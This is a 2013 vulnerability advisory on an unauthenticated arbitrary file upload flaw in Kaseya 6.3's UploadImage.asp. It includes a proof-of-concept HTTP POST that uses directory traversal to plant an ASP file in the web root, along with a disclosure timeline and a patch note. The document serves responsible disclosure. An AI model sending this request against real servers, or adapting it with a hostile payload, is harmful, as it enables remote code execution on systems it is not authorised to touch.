security-assessment.com

Vulnerability Advisory

Name	Unauthenticated Arbitrary File Upload
Vendor Website	www.kaseya.com
Date Released	20/10/2013
Affected Software	Kaseya 6.3.0.0
Researchers	Thomas Hibbert

Description

Kaseya 6.3 suffers from an Arbitrary File Upload vulnerability that can be leveraged to gain remote code execution on the Kaseya server. The code executed in this way will run with a local IUSR account’s privileges.

The vulnerability lies within the /SystemTab/UploadImage.asp file. This file constructs a file object on disk using user input, without first checking if the user is authenticated or if input is valid. The application preserves the file name and extension of the upload, and allows an attacker to traverse from the default destination directory. Directory traversal is not necessary to gain code execution however, as the default path lies within the application’s web-root.

Exploitation

The following HTTP POST will create a file called test.asp at the application web root.

```
POST /SystemTab/uploadImage.asp?filename=..\..\..\..\test.asp HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
FirePHP/0.7.2
Referer: http://<host>/SystemTab/uploadImage.asp
Cookie: ASPSESSIONIDQATSBAQC=<valid session>;
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
19172947220212
Content-Length: 89

-----------------------------19172947220212
Content-Disposition: form-data; name="uploadFile"; filename="test.asp"
Content-Type: application/octet-stream

<!DOCTYPE html>
<html>
<body>
<%
response.write("Hello World!")
%>
</body>
</html>

-----------------------------19172947220212--
```

Solution

Apply the vendor supplied patch from the 12th of November 2013.

Disclosure Timeline

9/10/2013 Bug discovered, vendor contacted
20/10/2013 Vendor responds with email address for security contact. Advisory sent to security contact.
30/10/2013 Vendor advises that patch for the reported issue is to be included in next patch cycle.
12/11/2013 Patch released.
18/11/2013 Advisory publically released.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596